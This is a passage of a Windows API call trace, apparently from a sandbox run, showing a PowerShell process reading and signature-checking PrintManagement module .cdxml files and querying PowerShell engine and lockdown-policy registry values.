ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f)) returned 1 [0116.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0116.457] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.457] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0116.457] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.457] GetFileType (hFile=0xa7c) returned 0x1 [0116.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0116.457] GetFileType (hFile=0xa7c) returned 0x1 [0116.457] WTGetSignatureInfo () returned 0x0 [0116.480] CertDuplicateCertificateContext (pCertContext=0x73ae080) returned 0x73ae080 [0116.480] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa8c) returned 0x0 [0116.480] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0116.480] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x5692d70, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0116.480] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.480] CoTaskMemAlloc (cb=0x10) returned 0x7443f28 [0116.480] CoTaskMemAlloc (cb=0x30) returned 0x740da98 [0116.480] WinVerifyTrust () returned 0x0 [0116.481] CoTaskMemFree (pv=0x740da98) [0116.481] CoTaskMemFree (pv=0x7443f28) [0116.481] CertFreeCertificateContext (pCertContext=0x73ae080) returned 1 [0116.481] CloseHandle (hObject=0xa7c) returned 1 [0116.481] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.481] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0116.481] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.481] GetFileType (hFile=0xa7c) returned 0x1 [0116.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0116.481] GetFileType (hFile=0xa7c) returned 0x1 [0116.481] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0116.481] ReadFile (in: hFile=0xa7c, lpBuffer=0x5693d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5693d68*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.482] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0116.482] ReadFile (in: hFile=0xa7c, lpBuffer=0x5693d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5693d68*, lpNumberOfBytesRead=0x843d390*=0xa7f, lpOverlapped=0x0) returned 1 [0116.482] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1a7f [0116.482] ReadFile (in: hFile=0xa7c, lpBuffer=0x5693387, nNumberOfBytesToRead=0x181, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5693387*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.482] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1a7f [0116.482] ReadFile (in: hFile=0xa7c, lpBuffer=0x5693d68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5693d68*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.482] CoTaskMemAlloc (cb=0x20c) returned 0x73bf4c8 [0116.482] GetSystemDirectoryW (in: lpBuffer=0x73bf4c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.482] CoTaskMemFree (pv=0x73bf4c8) [0116.482] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.482] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0116.482] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0116.482] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.483] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa5c) returned 0x0 [0116.483] RegQueryValueExW (in: hKey=0xa5c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0116.483] RegCloseKey (hKey=0xa5c) returned 0x0 [0116.483] CloseHandle (hObject=0xa7c) returned 1 [0116.580] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.580] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.580] VarR8FromDec (in: pdecIn=0x52f4b04, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.581] VarR8FromDec (in: pdecIn=0x52f5e00, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.581] VarR8FromDec (in: pdecIn=0x52f6284, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.581] VarR8FromDec (in: pdecIn=0x52f75dc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.581] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.581] VarR8FromDec (in: pdecIn=0x52f7a70, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.582] VarR8FromDec (in: pdecIn=0x52f9bf8, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.582] VarR8FromDec (in: pdecIn=0x52fa084, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.582] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.582] VarR8FromDec (in: pdecIn=0x52fa50c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.583] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml")) returned 0x20 [0116.585] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.585] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.585] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0116.585] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.585] CoTaskMemFree (pv=0x73c10d0) [0116.585] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.585] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0116.585] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0116.585] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.586] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa7c) returned 0x0 [0116.586] RegQueryValueExW (in: hKey=0xa7c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0116.586] RegCloseKey (hKey=0xa7c) returned 0x0 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0116.587] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x52fd93c | out: lpFileInformation=0x52fd93c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7527b34f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7527b34f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7527b34f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11f9)) returned 1 [0116.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0116.587] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7527b34f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7527b34f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7527b34f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11f9)) returned 1 [0116.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.587] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0116.587] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7527b34f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7527b34f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7527b34f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11f9)) returned 1 [0116.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0116.588] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.588] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0116.588] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.588] GetFileType (hFile=0xa7c) returned 0x1 [0116.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0116.588] GetFileType (hFile=0xa7c) returned 0x1 [0116.588] WTGetSignatureInfo () returned 0x0 [0116.693] CertDuplicateCertificateContext (pCertContext=0x73ada90) returned 0x73ada90 [0116.693] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa8c) returned 0x0 [0116.693] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0116.693] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x52fde4c, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0116.693] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.693] CoTaskMemAlloc (cb=0x10) returned 0x7443e38 [0116.693] CoTaskMemAlloc (cb=0x30) returned 0x740d6a8 [0116.694] WinVerifyTrust () returned 0x0 [0116.694] CoTaskMemFree (pv=0x740d6a8) [0116.694] CoTaskMemFree (pv=0x7443e38) [0116.694] CertFreeCertificateContext (pCertContext=0x73ada90) returned 1 [0116.694] CloseHandle (hObject=0xa7c) returned 1 [0116.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x61 [0116.694] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", nBufferLength=0x61, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml", lpFilePart=0x0) returned 0x60 [0116.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0116.694] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterDriver_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerdriver_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.694] GetFileType (hFile=0xa7c) returned 0x1 [0116.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0116.694] GetFileType (hFile=0xa7c) returned 0x1 [0116.694] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0116.694] ReadFile (in: hFile=0xa7c, lpBuffer=0x52fee3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52fee3c*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0116.695] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0116.695] ReadFile (in: hFile=0xa7c, lpBuffer=0x52fee3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52fee3c*, lpNumberOfBytesRead=0x843d390*=0x1f9, lpOverlapped=0x0) returned 1 [0116.695] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x11f9 [0116.695] ReadFile (in: hFile=0xa7c, lpBuffer=0x52fee3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x52fee3c*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.695] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0116.695] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.695] CoTaskMemFree (pv=0x73c10d0) [0116.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.695] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0116.695] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0116.695] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, 